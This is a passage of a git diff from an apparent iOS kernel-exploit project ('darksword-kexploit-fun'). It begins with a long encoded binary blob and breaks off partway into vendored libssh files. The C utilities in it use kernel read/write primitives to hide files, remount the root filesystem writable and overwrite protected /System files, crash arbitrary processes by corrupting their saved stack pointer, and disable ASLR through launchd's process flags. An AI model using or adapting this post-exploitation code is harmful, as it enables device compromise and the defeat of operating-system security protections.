z6m2xQxk#G}1|u(($l}sc=%L_nuk$hHswKSEWrtXpmO`@Pi{Zx(*@K?f4E1fcab&rU zqt6!h7(&&&uY@k@wN}FYiF6A+9~466hbZ5I5`!R*%4LXvMMXsg_S)p4LZYCe;$m`L z?byU=Fq>?Lv&uC-40`zN2p~9spu)fe^M;->XD#Tl$SHAM5q@$&cFfT&SL@Gxd~HSw zkUSDR@=;-mEE4LG6E@JZzY&YjJA-M&o@x|;6hIfbmB-d>GEq{T#;2A978Mum9Bn%` zBLJ0@g$2}%bTEPYpz9${)z)M}*&xgqB<$=rec#E4yV7g4!)frHI z-%9X)uQ5JE5CIe>*8^LU;+?@5d2rPvaMPr$gS>$rm=9_q>70>|&r={Z6Vy)P?2AR` zr?Ydj|F_!bYw^FXBH7!Q`uwtEJE_`6ZbGiuZLz!IdtALO{&wi~|Lrg~bTK2^VSm@! z4c*abK_l9@NGVw&jLIgmU^W|3YA_j*#-)-PX@kLtGEe|2LhiNHu`OclHf=*}MqVw2 zyxXs5>*uq^51SwH$7-uux1X-Q&}qib$-=i9RIT5&%1B!;ruFu$N-|VPY8lA4_i_s zw4_EP)iA1v9FbEyZ^of54y*O6Tn#P>B_f|Vk<@fi6oiYK06}GD0;I`cE)~tfuC$oy zy5(<|fKXKgLcOx<1cd6OE2f*~rgQ6DTgn9ys^18VoQ%9?xOKwi3?_SLm_Ef;4ErS{ zQv=zG+Me2BXk|l>l@{NUWiS*L5N%W6rly%zzLh?tIafyrV#S1 z8%$kQ>wgh*(G*FTHZm#YBwfH*q$wlQ6lGi_3DMJk3)l0tmo?w*@#EpPdRo00VWqoi z+*VpPGMb`HY9vfFNgItQr^-dTAWaH26pC}kL&4A%RUHAFgTIqd#!_{P`UuyPVTFK6}!JKLF|hS>z)#m1rYPj=ft`ou#kZRT97-1k7^pbQ@P+LB$dZ={g-O4gXsMn*JkU678!9bS6{YoM{dV;XDtopA|a|o zED{7uw8@Bqbb&(I$%MmhGQmt0X#z$i0@Szr8QHC?PYephTK9ORzjp4t^~PvmE?7*f zlOn-8eb9T`;&X7;72~=(JwKnvjkoLfZ+)+et=1Ukx{aZW+H&%FTsaL~Ay6pY5%M`X zs^nmfYraqC7{mfhYQpUeq44oTVF0=yp%Q@uyX~;+TXy>Nzv0uCt9|Zl4}%J*VymE3 zh@p`YNs=VP7(y5bgJOZAY-)Tm$vjKZlwyPsL`WbaA|fIZhy+QJBpnQXE4?-F`Nn7J zUiC%$X`>VnUG{CgcP5uwzs~#@^hPM`a=C7bPfL*`$c3nlz}W??i$NF@j;#lE?rpD} z7AOt14Lx~NIJpQ-kwh#Z4&bf*(0kHg2i~o)Aep2mlB=v9enuK=mP&D@D>kUZETithUEA!DW!6SmiI{wW7thsi(-aRVRkf=0E zuKV^rH?_pRVogM-|2_hPGUg2-M>5A1O!bv=m9(B|>>?TdYHt_)y=m+(?J884ssKa> ztv(90v}>`ezkx*^6fQeweYF44aNM4(%uV&ph%r(L*GOC;yMr|iF^QA8bpRZK-e_%1 zS11ZM-X(%&?+R~M_FVFce~?N^$gkW;LC9xRL(z%G0@R}lh)+(>{_V5!yf}4GJ_xyl z;*zW0VM~?`{67}oYlziD9ZeSVFn)+l!9R|HW)dd>X2F9a`sF+|L`GE2-Ak1%lmXDe+v721sYRywU>`G#w1`W7M zy)#f37y-YmbnbkbuWZ5K9{`YhKPX+4*1OYD`SaWdZz8ki^GQ!eL0mL!e~C}NPA<>C zs>lK;lA!fd%#a(z-lp)Xs`suY_EQJh5?2~r_^n1Kqx}-@#G|JhNo0mLm(_*H1q8ED z&2FB#sDdh?Fif|RPmw%-p@tY8@(#@^f&>MoCejhe9(vqzA!7$~5DN&7#Uxw@#g@1c z0D}|?P1&l0jWZ>rA_gT9_O_+(`$14ncma;Pul!8z51Q450f#;^K;Ya1&h4pP zDM`a5B&a=-C{!3QgF-wY6`?l3D=Ux;c)-Jeq0}iE1Oo^^XwU&bqen|HSOzTVYMKU= zV>RF^Se+x&6h5v;mWzuExEBzuzq12iE|_+vOA&n@aA4#QR10G(B1 zOa>67T`=i#8<42P0~E?1P$EY|uZJ;sNw3-fDiW(Vz<3%BD8Q}(5u`h$>T#t+IIIl_ z@c4irj~lSuF$UOqA8?nrfq+JMN^k~rL7^cCo(33j*MQLqsYSX7koWI68=w$H4`4&6 z3}ypD9P9eidr|=kJ^v|4K7&2iL9<%q}J3$bH0APQy;djM0(4-7{ci0(Q7BLVOm z>~VhQ*#osS0nAVWE}Cz~@frwcxP*^&#4XkETmDiJvLG<@ zIhB=8l|>U4I}O6cnLy?+_Djq+Mdw+vOeUWR{Lpp7cSW79nY}p zYH>BiKCSsUV= ziyNOt4^2h})9iv_=-D@RbdDRyKz|h9Zq(N^CB2LnrGDho0+Jc< z$vkgNa2b@e{XwTQ#AoIm0M&r)CTn=@Yn;BxBI-^m0=$a=J@>w&itb&}+GFZLO=C$P zRTw3|EqfYrT@nLX*jpNQ)(AjtF@xv{l~agE4+J9;0c%2g~) zfA1!<)VB_)Lf3;T6D$imhJJx)(4<9W)=C(p;)&I|M0~k+xL~B9A?8Uaam%$;Y*}Fn zA<=m%*FiSEXC}=5%Y)HB66E9VmH@=$dL(8vJRxN+tKw%8dKAz~1FsS5VXv9k5|OI{ z&R{BDd@{X{0NRWk7%Z?<)g0hy8aK@)X^$@0ByG3JJh=B#4AFCE1suHAHlQ|oc#Mt# zS^;bUo=T|(xmP{N3_bgOx^giE`~b{g+Za*S@L&W0~3h5Yy*`p7bZYo&dEAUuu&Io?mF zo(jZ+N_EngO>Y0QHB0!^OQe(niO5KVA}r{Pf)gd;BGjc6u&Ai0n7makDkcjmDlRIL z#64B0_MVD<*0VaFn<)OiRDlEt5>y2*p-(tAgcUurv9p*D6@w~}Vy zfXRe{37oiSIwD*)lV}1da43-Lo8C8bO!+3477S1pP%cncKi+USEQmqnbE$#AqT+(z zd9nnEFhWrAnSl-}uZ|))rL&k-Dj3zjhXFo&yh`UE^jGz`QXs#<&BnySCIg0GhOju} zv(@Q@%3?Ho{#mr&QlEU4h@sRkhXOrLL;?cb_Nf=StF$bCRYEF}lez4+@J}N47-EjH z?8$j>#xiElJL@X#)?EDIt~j$j_mqjq)@~h5J+7;jWr%+3dh~24VO&Z-Oy6H~nwe*k zo3`^LN@N9*&C97PNQ0e32|*MGd?||Oa&J1@&oZ~Yzpd3fEjh0ra@}T)!+0=7SuilP zSH;M_pX~hTQmYqVU<}ja^wayO<(A5Kw~qO{ma0A!k}x%i5`=nl)lXKvijhs)z3a;y zK5qKD*<>;-8<@?;f*ZKWU^E#HW|QH#Xqrl=Rr6W!jdhOj(52yVfu0) zu8^|#E1^&jd7UO_PA4sKcthVc^Zi;&Rf&n6&oReVYW0@B6|Q#4txqL-qT~Q7bIoAO zv})_$p3|l67CS@Man;%u7Wzrg!u+tZgD1Odg^U}vIyPloIb?^f&nqkB#w*#R{Ek8A z?O*3g8=V=y1`{w6C?fk|X43O2-?3enhvqgl*nWPfs&`J0V%hK9F5cQ2yNSxyN#c-_ zSTr;l2^$!+Y~bdSv1l$F3l^@Lugj&)bG1wRqd0=v@7h>$5~t`>R@{pEs=kdoM6<`M zLye1Ovys7}vEa*=@{|1;!ER>znN-Th)?QAE^`76suh5}Vi zfiQgY6Mea>&c>6dB`THuAKJbZ#Lk<$x4nBH6ea$ggQC=3b;=McIhfjR&;M1DWQh`H zudVZZ-PNo>6-Jy zj^#r}W-cjMKQy8l>R)XyS7Z?fGKr@3jxtKCr5_17yP3KT^ZaOICV%ym$?(GbBVnhq zwKjFukYz1#7|=ySfxb$N)n0&^2d{9YV$!So3Z&OX0?(@Od$4CRc}u}EcsYRhDF2qiPF_*tGUgT1Pmx~ zbzA{grejc&PF-#$QHZumz}Ed_1rL>-iv>%^hDBp@aWFNr>Hz~NE5&7r)A1iaiC9Iw z(*7#Y2b(`Bb%E)1+)g>61A88|ua-!LjtEM@_T9d_a#>b-+5 z2zbOI4i+0;bTRQLK*V9A*^&_{JPv)S5)@ zjnzxstLiA>s&hL6MvC6)=X30^=W}MzR85e>K=?YfFIN(Zj(gb|!ED>rYHjM3b1w)8 zlZdICc0+lU6dqaT^0%!84u8H>%bqkEFcvVJ4$NerrXz(wr~_HjoK(z_h$KltGK>LJ zFd!f(I4GMB%p~#yb72#!G@`6%1|mYq$OI!IL6jr~NsTrs@jFWv*q8=*J-JKR1;Y_i zqe-Wrq=zr$#-&CMCjxCuqrmZU{@@mS$|W%=c)c-DPhnuIGwcT4XrD)i?<*x5wtEV~ zo+~}k(F=66OvQQU*qa&1pBEn&(W$c;UFJMZNXiHWFRs3$5|E$;XfLOXo2tjP{qvwS zPR?oZvC0Ba+!Hz>a~(MVvdtx(5jkK$!n3Mo_z*!(R^HkjY=$~h9;I)&2+XlMaMn(k zf20qpIHz?OU0Lh_~wY;2TXUAi?&S}rI@L-Tp@HL z6Qz7K13Tsd-P%Ru7q(0b8}?w6N!U_=`Vu9s3-BA8|Mco(*&*Rnn-?ZrB?0 zOb_ecq_<};_5yq)!d&kNI)k|#dnr$`Pj_g}2lfA$ZqGkx0PJQ0|;0ItY% zw}iz-EoOlP!lc;J=y6aNwc57Ywu(6FkeV@GM1M7LraxxZm`>g&Ii#?pusNt5UDNhd z4*>s;!;XaNzr{??{c3Ye$`fvSw%ud23eBx5%J^3dpI~OnuaI-B3I_$MwgUKL$n(zYLT0$Wpu^hANkp!*N^*MR4{85hm8ACXF(U#D2FN`-(sf}q_(M$>h zZ6qw{qJvi;W@xf{`c9r4nMTB>#T2~^lP_CXtDsCvTdA%2PdftrDcY#b5;8IZy8XN) z9W=h-JR9GiIFrmHXOQH>r6fxQkR}WX-9LRf&sFU{LJ+1$blrp+&7; z>-VS6o(M26c>gD^J0glAkv#GFO;H>OLIJzp&i4+78%|E!SvnahIHp;a6np4_dxy@2 z+qAfsnr~1sfne-9gYETsPpKTVW8;rg>+J2(cq-$SlgaqXpawIDI}$aRR*|k*fial= z%Vs*%DrDnN%>V`BWSJpSSqEy;E5LwcV>r=(y4Vg;*Pc;qtg z=c4FrSRn@Bk-=!8m8McLfKF)uUzydVVl0Ug#|*!NxTa^&g1&RXKIzDvAOS@voK_*d zt5doIeBoV}X0|l2o(_hd1Ii#V{pL}BGxK{$f#~_aO=EyW0X6d#{mK718?3?N!W0Yj zsZvcSaOYg$8xd594rKFTpe(s^Lr(ZN(H?Rq%MyCf(I-H(vGHZ%@FA|jiOYgIqoD%g zn#&knlwOTcfMj-sk1BzQZxn3L8%O*4iKFTmyGb_9IEMIu!>5h7H4}9Btxl*Ada5U4 z7HLs+6b#SNFX>VoOmz*ZAr#5LkhDPO&xx3q82N%*rN}GpX#rV`>n)(*h~8$F z=+UcbI=vR*a`{u-g$GZ3ozL1)RSTGgza^X19qw~DP?x1n9Nh^CQ3bE=s=p?UADAF; zErB9U6*wk5i+ngEg9%VN06x~C&V;PQB{TzI5Gwk3ksKKzoT43+ifFleco$4`HRcf{ z{^>>W-pCEOsGeGVU2}JK^gAa>poWfRsCK!0t-C^~sm&6ITh-*q2bM%=j_oO&d&p1o z;f|o87M(&1)((O+tc@vIzz+CL581TNY7{-jcI83U@dEKqGyUfPshcbRhfr{d*8v`o zBX_4AO)8*~mrw1U=v?r(`IA*=5FLrwDKtcYZs2Yw{o+a0?PZ!f1kf1<2)>dHOkX0d_ZNDmeH=CzS`^yjP_YC2$&O8=(LD=$OW;xxs%VJF}Oc-^hfAK2ks;K%4{OQNzq#kT(E5XCJ0Vdfb9(&eAvUX zmJP|sNb)cs=GUrFKwAPVi!u^rM=g??BQFWGe(|c9wSisclevT7++P=1%tEWCJ{h1{ zXU{ZJ=yAE3sn>@Cc?B*BP-!L-|G2~P_6<@kEOI0(pw(nx4K{GYQ7P>_>`wU6G*?ug zkUAKW{}jh^NK*aT6soUY(_}kShbx$tW){AP6=Kupiz%Qs=;A)dhJfy~1QsRdfzFxD zBRbwb36HPZ!CRLgqh<*tuaHV=$&_rWu$DzdC#>Q&5GE5P}fh!cC=fmbvK1}5eq?jtP zJo=TFmutt~d=E&3fIh&pt(E)|l>0=fzrtJXtVY*g`n+T#7b@{xSzE$uLnBr?Bq-@T z_>yIZc(qqEN2N*J*t#oVky#m~+lQ?Y*!?xSmN_FfH@B+GR=sp+?)VmG08EnvqY@wo zNrX-$CuC#a4J7@zl|8RUyI?K5EG?td?WtO0exNjfM`+2M_~)fne`0h{9c{S!Ro6NO z*a0(8uT>gwR5TZCfRazyGWMsDyfk^hJ51*GPm?SUbKmG*F$08C5!*CkMB{mHgnuu= zD!&2w|65bS;mHNAZENW4axQxXH~Q@Y>7;^fy=RE~o5a3-4%&_LL11?s$Ie+4HBRw7LFWZ@48I zWlw&KNm{EXc6K4SfFFXbOm+Rk)UaArn|o6=Y}mTjS}iizwj;@x!v}v7(meWOIpq&% zj)inIbFs5Trz}cyiZ_XNH8qoCeG)0n$B(2XhBnfOfO7UbsHQR#Iuhcn^NBDGM$mB2 zF_kHDfJ~uP8nBFo?L9^Dw8R;Zlg2bysc{_?VpiOb10C7{u>yz*;#%x7%BUhKEd|H@ z;s|tvRa454Ln=Gys~bz z8hx%Ed~PmNX--;d-ri+rQ^#=-`jesRKAknCehSb@Qpj~}wwn1rl&*dd_5JHzP>k{k z0s?^EUSAj4TVCc-DScH&9QSGNN_utO^VvgcdY>WORIGA2+h^BnDFY@G6wQ*m*SYrA zY(yAALF-jP`LZX|6fmkRJek-Ltj)** z3g5}Z0-Y`fS7Q`MoORh%7w-m|i1&`i{i^Oo2__!qKG3jR*t{8a|EHmJeX;}I0-|{M zWG-DecI~noBL_dF!K+1VR0~5PT}6QWfRJ-z0ia3%(NEwPPFCJA%7Js@Mw>am&m8hd z0)Wz7tyaYFS?BjyBdg}cJ%C2K`JS~*iE)|2`CNz1A`@C~I8x>I=^pym zjU487=2J(yQdH>M)?BsooL}ug1k~DZx)|UGs_qR^33Y{Z)cK}%AB67yyaKR@{{)34 z7WN?s!V8TFP@Zp; zEQv6p&qfcuS6@l^{R~1&h3*2X(530P1xGBtf9Rk&9hKSY4A4sms9OCyU!^U^3x3dUnYw!sE6_@Muw&ldi~0ayVs0Wbjta z4GNJ)Ba?BV`DRaDPij4Gxh!{5$`?M)iInit2ZF)KWM~E?W&=YZHJc5~Mw6Qi%qAlf zAu}#47%iDbkHn+B&c~IjOGs_Y?pT;iBRMg}@FNK8MbB%7`qsKUtlY-YXI4FiP@OlG zutlYoCEOQ~ZKFqoMx+#B$!AekQRGRv92KCbR4UawN=0R|pi-%zP*i(GX%1SH?XWeu z##coTpIZ)4D(~nibCyM4Ma~I|ity6|a$}A{?_BU1$ zdTUe~tEU#C1yM!rv!qgY2zHcXNG%VRH_2MW3lNR0(ekUP6mxBPAw!{%Hk zZdZIzKYpja<|$v_UJ947bQu@wh8!_;+DD=wvel%sUzMl5e%+T!x6IbB)DFW*UzxIB z?U&}Wy8Ns2tIo|vr8k4o_fsEVG72C){H@%==g&@cy|QJ)rs`tq2fx0a*^_xRG%}V5 z7aI{Yn2QM$S6j<6(V0jj{wES-wv$LP^=doq)-#Ht4kjoml~~x5UL5_topn(_0}>oE z#FbKO3jgs!Wmg>0)_#^q5^!4Rs-312so`6vPaAAK5s}m*$1;v~UTdlzJA96csn=7_ z9#0q&ipJCj`1=#|zkX@%vgb`bl8>}|BoWBRN2C(^NQk6DkqsO~66&TPY0>R+khFL> zMSwgVOfBTbxNR;Ii8YQ8pnN>qAIKe>$q?S^_Pa{`S51v=dYs%@hN0n8xc=Jod0M}| z)q5GLbJ{R!)3%&h#(mCXzi7REsc>3KIWs`GU-vw&POa(p*E`&%?qs%x)6`DHzgW;*Q@qxB870r|4=W;^>cpQld}k)`||J!Q>(38-sj40Vo#_& zE5x+h8_{bi{Ddy3lX#+>=b)+)k)$9=8Us^6AV6@aU{E3v>G=WEqSI0`3A7Bd1`?T} zKtYNMQm51yNTn^=@&j$^em0&7{8Zl`gFGbOv{QZz1-#FPv?M_xFtD8Gk44^|u!J~< zU>FcAj>%L>76@8Mj+1w9T7KJW5U z$?!-I%80&v&Qt6MH8M8jmWRKIZ;_76%qf^g%Ax@E-C$9BO6qU=#Y!>hd>4A{j-iD`-X`D~;g0gcC464_*IXJ8J$R2U6ef zB_mEiI0`*Jqvscv!zdspQASJ)f%2X>H51Go&K<}Woz6PN{cv_-;EE3|Ynay2(=0DXsmKVKB}x1ALkgBVqc=)cTV z%2{23w!pn0nHrq6TQ1Gzedn3B=VprZ`SaGRo<*EhF*!6OFF>=SWNuPYUP_^`l)0b> zl}+Et+q%o=|S#b_l)FZJs3!1ONwsTWIs#GwD**cDlhRvfbn zm3OT!>GqxDWM~=6L4j$%fpR0b3Pcz|9T^Kfv`cw&Og*&2c-lqy)rI7d9~V#1EXt$Gc4?OTlRsB&f2ABjCy4wg2&1-aK@E* zF6^wG%Lye&{S1QZ*n93@4dMp|7Xl}9V>f8UP4vl=ZUcAOL|3M&>ltqWpJ;z*P#&@y z^P0ddykQoX18wHsvuhL< z6`QWD_WFYWDkI1}calLx*++zAs*1+g(-dgWlS3xm($vw)c^i?&pKsm7!ZjPDqD#^) z>#L9Qm;!MVW2%pc2B_8^g<`%)D#s8)DGo^l&l4;Wr(t{Sy<2IB%Pt98L%0noz(9_P z$qqE|lPlcYnLUSf7XxS?gB*juS@4$zvrj1p;D714SP0vN=X}yKHCs$FmLVM8Im`>K za*B(rrW2PP0H%PKCEZEKeI6kpfbf+`At^*S<8WW;Aa;iQy3KrS@`Sx zO^Mx9R>?1MGtVdg&iof#=d180H%sOp9r@{~uYFJp>@)9qBpDVLxbYRkD6deYG>k#l zHm0o_MrJI3?FF&sCVgH}owL4KjUBhDsqbxEQvWvXG}ln@+1->hhvsHIJKP(N!>J-I zcdJ0t4dBz9%kth7>2!xDEM^dIt+gxFXVa_GnMiO_+(&_2?pHYR1ydGDVmm~rHeVi_ zVPc%~j2t<^5&JZXnEi*K?2V5xsMsWnFhr3M7eg(E1oN{Df*Rl7H85II&6JIOKv8Xi zjC$2ZjsnjF@a`Frty**S31+HvoAt97&E0sf6_cq=ahsqtiy{R>f&_xcbzGBjrIMrD4z!C&pl3AJlSm;l*q-kfRsz#`A7ikl`iQN?P4CH)tpU`s7EbF0 z(=jMgYunqChrD2mEnWf+cRk&>gTmr;-Ph%enxyvj2H+$u>lX-Qn+;98iWUO$pZhXk46bS@YYr6G z_Q^=HL&n+WM%QNEj z+gXoeR;-bVONFklG0BW&NMlir6f+|e-c!3XaS0C&#u+U~{6mdIks3>|>TXBUro5J% z^G1+&DXJl2N0(rRd!`g?XF}dm;(+Ci1Z2c%layA6V!>kX7uS>8(2(dx);NMhaB7>v zWQr9dyDl_~5XD73m}@$s{+O*gC%5xUjC2TvHL1TN5s!X_>J}`4yg$+>FW5eIC4oGf z(6e4pqxYB^Kq+ih{!(gcc|I`L*e%_DKVdx`3tDhc8_GXpj~Y~5-OPbQWGTG-v2-EC zM(dULYCxGQGrjI@4p!$pCQf=Q3wYVA*#XgR+)c|^>~!)Q^&W+Tas@vD+3Ux7VRY+8 z6{zkYShmz+qw@|CfWxqr5VxeVf{0GsTe~%MOILYfP%5U+GZ-nXHeveu6~clQBB)XQGcz+ZG&eUeG&VIeGBMASDH;)N2ND30Kmv?G2pj?gK^TG&f&@Vb5CVi?gd#x-sifg^{UZ$Vp%7x` znFu8zn88=pE3?IlzFr504G#z-pbCc +#include +#include +#include +#include + + +uint64_t hide_path(const char* path) { + uint64_t vnode = get_vnode_for_path_by_open(path); + if(vnode == -1) { + printf("[%s:%d] Unable to get vnode, path: %s", __FUNCTION__, __LINE__, path); + return -1; + } + + //vnode_ref, vnode_get + uint32_t usecount = kread32(vnode + off_vnode_v_usecount); + uint32_t iocount = kread32(vnode + off_vnode_v_iocount); + kwrite32(vnode + off_vnode_v_usecount, usecount + 1); + kwrite32(vnode + off_vnode_v_iocount, iocount + 1); + + //hide file + uint32_t v_flags = kread32(vnode + off_vnode_v_flag); + kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW)); + + //restore vnode iocount, usecount + usecount = kread32(vnode + off_vnode_v_usecount); + iocount = kread32(vnode + off_vnode_v_iocount); + if(usecount > 0) + kwrite32(vnode + off_vnode_v_usecount, usecount - 1); + if(iocount > 0) + kwrite32(vnode + off_vnode_v_iocount, iocount - 1); + + return vnode; +} + +uint64_t reveal_path_by_vnode(uint64_t vnode) { + //vnode_ref, vnode_get + uint32_t usecount = kread32(vnode + off_vnode_v_usecount); + uint32_t iocount = kread32(vnode + off_vnode_v_iocount); + kwrite32(vnode + off_vnode_v_usecount, usecount + 1); + kwrite32(vnode + off_vnode_v_iocount, iocount + 1); + + //show file + uint32_t v_flags = kread32(vnode + off_vnode_v_flag); + kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW)); + + //restore vnode iocount, usecount + usecount = kread32(vnode + off_vnode_v_usecount); + iocount = kread32(vnode + off_vnode_v_iocount); + if(usecount > 0) + kwrite32(vnode + off_vnode_v_usecount, usecount - 1); + if(iocount > 0) + kwrite32(vnode + off_vnode_v_iocount, iocount - 1); + + return 0; +} + +// Overwrite /System/... file data +uint64_t overwrite_system_file(char* to, char* from) { + + int to_fd = open(to, O_RDONLY); + if (to_fd == -1) return -1; + off_t to_file_sz = lseek(to_fd, 0, SEEK_END); + + int from_fd = open(from, O_RDONLY); + if (from_fd == -1) return -1; + off_t from_file_sz = lseek(from_fd, 0, SEEK_END); + + if(to_file_sz < from_file_sz) { + close(from_fd); + close(to_fd); + printf("[%s:%d] File size is too big to overwrite!", __FUNCTION__, __LINE__); + return -1; + } + + uint64_t proc = proc_self(); + + // get vnode + uint64_t fileprocPtrArr = kread64(proc + off_proc_p_fd + off_filedesc_fd_ofiles); + fileprocPtrArr = xpaci(fileprocPtrArr); + uint64_t to_fileproc = kread64(fileprocPtrArr + (8 * to_fd)); + uint64_t to_fp_glob = kread64(to_fileproc + off_fileproc_fp_glob); + to_fp_glob = xpaci(to_fp_glob); + uint64_t to_vnode = kread64(to_fp_glob + off_fileglob_fg_data); + to_vnode = xpaci(to_vnode); + + // unset read-only flag on rootfs + uint64_t rootvnode_mount = kread64(get_rootvnode() + off_vnode_v_mount); + rootvnode_mount = xpaci(rootvnode_mount); + uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY); + + // modify open flags to make writable + uint32_t to_fg_flag = kread32(to_fp_glob + off_fileglob_fg_flag); + kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag | FWRITE); + + // to modify, increasing writecount needed + uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount); + if(to_vnode_v_writecount <= 0) { + kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1); + } + + // modify file data + void* from_mapped = mmap(NULL, from_file_sz, PROT_READ, MAP_PRIVATE, from_fd, 0); + if (from_mapped == MAP_FAILED) { + perror("[-] Failed mmap (from_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_fd); + close(to_fd); + return -1; + } + + void* to_mapped = mmap(NULL, to_file_sz, PROT_READ | PROT_WRITE, MAP_SHARED, to_fd, 0); + if (to_mapped == MAP_FAILED) { + perror("[-] Failed mmap (to_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_fd); + close(to_fd); + return -1; + } + + memcpy(to_mapped, from_mapped, from_file_sz); + msync(to_mapped, to_file_sz, MS_SYNC); + + munmap(from_mapped, from_file_sz); + munmap(to_mapped, to_file_sz); + + // restore open flags + kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag); + // restore rootfs mount flag + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + + close(from_fd); + close(to_fd); + + return 0; +} diff --git a/utils/file.h b/utils/file.h new file mode 100644 index 0000000..b9f3518 --- /dev/null +++ b/utils/file.h @@ -0,0 +1,24 @@ +// +// file.h +// darksword-kexploit-fun +// +// Created by seo on 3/29/26. +// + +#ifndef file_h +#define file_h + +#include +#include +#include + +// xnu-10002.81.5/bsd/sys/vnode_internal.h +#define VISSHADOW 0x008000 /* vnode is a shadow file */ +// xnu-10002.81.5/bsd/sys/mount.h +#define MNT_RDONLY 0x00000001 /* read only filesystem */ + +uint64_t hide_path(const char* path); +uint64_t reveal_path_by_vnode(uint64_t vnode); +uint64_t overwrite_system_file(char* to, char* from); + +#endif /* file_h */ diff --git a/utils/hexdump.c b/utils/hexdump.c new file mode 100644 index 0000000..6797a1d --- /dev/null +++ b/utils/hexdump.c @@ -0,0 +1,60 @@ +// +// hexdump.c +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#include +#include +#include +#include + +#include "hexdump.h" + + +void hexdump(const void* data, size_t size) { + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + for (i = 0; i < size; ++i) { + if ((i % 16) == 0) + { + printf("[0x%016llx+0x%03zx] ", &data, i); + } + + printf("%02X ", ((unsigned char*)data)[i]); + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char*)data)[i]; + } + else + ascii[i % 16] = '.'; + + if ((i + 1) % 8 == 0 || i + 1 == size) { + printf(" "); + if ((i + 1) % 16 == 0) + printf("| %s \n", ascii); + else if (i + 1 == size) { + ascii[(i + 1) % 16] = '\0'; + if ((i + 1) % 16 <= 8) { + printf(" "); + } + for (j = (i + 1) % 16; j < 16; ++j) + printf(" "); + + printf("| %s \n", ascii); + } + } + } +} + +void hexdump_file(const char *path, size_t size) +{ + int fd = open(path, O_RDONLY); + void *buf = malloc(size); + ssize_t n = read(fd, buf, size); + close(fd); + if (n > 0) + hexdump(buf, n); + free(buf); +} diff --git a/utils/hexdump.h b/utils/hexdump.h new file mode 100644 index 0000000..03c572d --- /dev/null +++ b/utils/hexdump.h @@ -0,0 +1,10 @@ +// +// hexdump.h +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + + +void hexdump(const void* data, size_t size); +void hexdump_file(const char *path, size_t size); diff --git a/utils/process.c b/utils/process.c new file mode 100644 index 0000000..3668550 --- /dev/null +++ b/utils/process.c @@ -0,0 +1,51 @@ +// +// process.c +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#include "process.h" +#include +#include "../kexploit/kutils.h" +#include "../kexploit/krw.h" +#include "../kexploit/xpaci.h" +#include "../kexploit/offsets.h" + +int crash_process(const char* name) { + uint64_t proc = proc_find_by_name(name); + uint64_t task = proc_task(proc); + + uint64_t threads = kread64(task + off_task_threads_next); + + uint64_t upcb = kread64(threads + off_thread_machine_upcb); + upcb = xpaci(upcb); + + uint64_t state = upcb + off_arm_saved_state_uss_ss_64; + + kwrite64(state + offsetof(struct arm_saved_state64, sp), 0x1337133713371337); + + return 0; +} + +// xnu-10002.81.5/bsd/sys/proc.h +#define P_DISABLE_ASLR 0x00001000 /* Disable address space layout randomization */ +int disable_aslr(void) { + + uint64_t launchd_proc = proc_find(1); + uint32_t p_flag = kread32(launchd_proc + off_proc_p_flag); + + kwrite32(launchd_proc + off_proc_p_flag, p_flag | P_DISABLE_ASLR); + + return 0; +} + +int enable_aslr(void) { + + uint64_t launchd_proc = proc_find(1); + uint32_t p_flag = kread32(launchd_proc + off_proc_p_flag); + + kwrite32(launchd_proc + off_proc_p_flag, p_flag &~P_DISABLE_ASLR); + + return 0; +} diff --git a/utils/process.h b/utils/process.h new file mode 100644 index 0000000..5dcc63c --- /dev/null +++ b/utils/process.h @@ -0,0 +1,35 @@ +// +// process.h +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#ifndef process_h +#define process_h + +#include +#include + +struct arm_saved_state64 +{ + uint64_t x[29]; + uint64_t fp; + uint64_t lr; + uint64_t sp; + uint64_t pc; + uint32_t cpsr; + uint32_t aspsr; + uint64_t far; + uint32_t esr; + uint32_t exception; + uint64_t jophash; +}; + +int crash_process(const char* name); +int watch_process(const char* name); + +int disable_aslr(void); +int enable_aslr(void); + +#endif /* process_h */ diff --git a/vendor/libssh/include/CMakeLists.txt b/vendor/libssh/include/CMakeLists.txt new file mode 100644 index 0000000..a01b529 --- /dev/null +++ b/vendor/libssh/include/CMakeLists.txt @@ -0,0 +1,3 @@ +project(libssh-headers-x C) + +add_subdirectory(libssh) diff --git a/vendor/libssh/include/libssh/CMakeLists.txt b/vendor/libssh/include/libssh/CMakeLists.txt new file mode 100644 index 0000000..83e7b9f --- /dev/null +++ b/vendor/libssh/include/libssh/CMakeLists.txt @@ -0,0 +1,39 @@ +project(libssh-headers C) + +set(libssh_HDRS + callbacks.h + libssh.h + ssh2.h + legacy.h + libsshpp.hpp +) + +if (WITH_SFTP) + set(libssh_HDRS + ${libssh_HDRS} + sftp.h + ) +endif (WITH_SFTP) + +if (WITH_SERVER) + set(libssh_HDRS + ${libssh_HDRS} + server.h + ) +endif (WITH_SERVER) + +install( + FILES + ${libssh_HDRS} + DESTINATION + ${CMAKE_INSTALL_INCLUDEDIR}/${APPLICATION_NAME} + COMPONENT + headers +) + +configure_file(${CMAKE_CURRENT_SOURCE_DIR}/libssh_version.h.cmake + ${libssh_BINARY_DIR}/include/libssh/libssh_version.h + @ONLY) +install(FILES ${libssh_BINARY_DIR}/include/libssh/libssh_version.h + DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}/${APPLICATION_NAME} + COMPONENT headers) diff --git a/vendor/libssh/include/libssh/agent.h b/vendor/libssh/include/libssh/agent.h new file mode 100644 index 0000000..caf8d3e --- /dev/null +++ 